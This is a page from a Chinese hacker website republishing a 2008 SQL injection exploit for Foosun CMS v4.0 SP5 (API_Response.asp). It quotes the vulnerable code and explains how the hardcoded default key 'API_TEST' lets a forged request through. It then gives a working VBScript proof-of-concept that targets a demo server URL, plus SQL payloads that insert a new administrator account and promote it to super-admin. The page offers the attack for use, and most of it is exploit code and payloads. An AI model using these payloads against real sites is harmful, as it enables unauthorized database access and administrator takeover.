黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 网管频道 >> 入侵检测 >> 正文
·风讯7月份最新注入漏洞利06-30·TP-Link TL-WR541G+ 无故06-30
·不许动我的IE,系统DLL修06-30·萤火虫提供500M网络免费06-30
·太阳海提供无广告免费二06-30·新浪空间提供免费免费博06-30
·世界之窗等浏览器本地xs06-28·轻松杀死顽固不化木马病06-28
·如何用Visual Basic编写06-28·Vista序列号藏何方?两种06-28
·读泉州师院论坛提供100M06-28·禁用XP四大自动播放功能06-27
·绝对神奇!无需打开文件06-27·北京分类信息提供100M A06-27
·阻止网页挂马的若干工具06-26·关于XSS漏洞另一个攻击趋06-26
·注册表应用点点通06-26·电脑高手的140个电脑小技06-26
·d0m.us提供50G免费php空06-26·百度首页惊爆挂马漏洞06-25
·SQL注入攻击的种类和防范06-25·我爱吧免费主机提供100-06-25
·Vista下:享受不一样的远06-24·获取Vista系统完全控制权06-24
·6种方法教你发动“熄火”06-24·My5GB提供5000M免费php空06-24
·反向跟踪找出黑客老巢06-23·0fees提供300M国外高速免06-23
[推荐]风讯7月份最新注入漏洞利用
        ★★★★★

风讯7月份最新注入漏洞利用

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-6-30 12:11:46
#漏洞文件 API/API_Response.asp
#影响版本: v4.0 Sp5[其他版本未看]
#漏洞原因: 变量username未经过滤传值,带入sql执行,导致注入产生。

#关键代码:

以下是引用片段:
If CheckPost() Then
Select Case Act
Case “checkname” ‘触发注入
Checkname()
CheckPost()函数原型在行73-96,username由此获取值,代码如下:
XmlDoc.documentElement.selectSingleNode(”username”)
Checkname()函数在行233-254,代码如下:
Sub Checkname()
Dim UserEmail
Dim Temp_tr,i,Rs,Sql
UserEmail = Trim(XmlDoc.documentElement.selectSingleNode(”email”).text)
If Messenge<>”" Then
‘输出错误信息
Status = 1
Exit Sub
End If
Sql=”select UserName,Email From FS_ME_Users where UserName = ‘”& UserName &”‘” ‘在此带入sql执行
Set Rs = User_Conn.Execute(Sql)
If Not Rs.Eof And Not Rs.Bof Then
Messenge = “您填写的用户名已经被注册。”
Status = 1
Exit Sub
Else
Status = 0
Messenge = “验证通过。”
End If
Rs.Close
Set Rs = Nothing
End Sub

利用的关键在于让CheckPost()为真,代码如下:
以下是引用片段:
Dim NewMd5,OldMd5
NewMd5 = Md5(UserName&API_SysKey,16) ‘Const API_SysKey = “API_TEST”
OldMd5 = Md5(UserName&API_SysKey,16)
If Syskey=NewMd5 or Syskey=OldMd5 Then
CheckPost = True
Else
Status = 1
Messenge = Messenge & “<li>请求数据验证不通过,请与管理员联系。”
End If
API_SysKey在Api_Config.asp里16行被设置
Const API_SysKey = “API_TEST”

把注入语句 & API_SysKey 进行一次md5加密之后的16位hash,赋值给syskey就可以了。

###Poc:
以下是引用片段:
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem   风讯4.0 sp5[mssql] 注入漏洞测试脚本 By Tr4c3[at]126[dot]com
Rem   更多信息请关注:
Rem      网安阵线 http://www.nspcn.org/
Rem      web安全手册 http://www.tr4c3.com/
Rem      BK瞬间[qq群]
Rem   转载请保留以上版权
Dim strData, strUrl, strGetinfo, xPost
strData = “<body><userip>999.999.999.999</userip><email>body@baidu.com</email><action>checkname</action><syskey>b77c8e0d7a0784d5</syskey><appid>FoosunCMS</appid><username>’</username></body>”
strUrl = “http://demo.foosun.net/api/API_Response.asp”
Set xPost = CreateObject(”Microsoft.XMLHTTP”)
xPost.Open “POST”, strUrl, False
xPost.SetRequestHeader “Content-Type”, “application/x-www-form-urlencoded”
xPost.SetRequestHeader “Referer”, strUrl
xPost.send(strData)
’strGetinfo = xPost.ResponseText
strGetinfo = bytes2BSTR(xPost.ResponseBody)
Wscript.echo(strGetinfo)
Wscript.Quit
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem   将返回内容转换成简体中文
Function bytes2BSTR(vIn)
strReturn = “”
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem ‘;insert into FS_MF_Admin (Admin_Name,Admin_Pass_Word)values(’Tr4c3′,’83aa400af464c76d’)– 添加一个普通管理员Tr4c3,密码12345678
Rem ‘;update FS_MF_Admin set Admin_Is_Super=1 where Admin_Name=’Tr4c3′– 把Tr4c3提升为超级管理员
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

文章录入:cainiaowang    责任编辑:xinlian 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    VIP 专 区
    Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
    ICP备案:冀06009886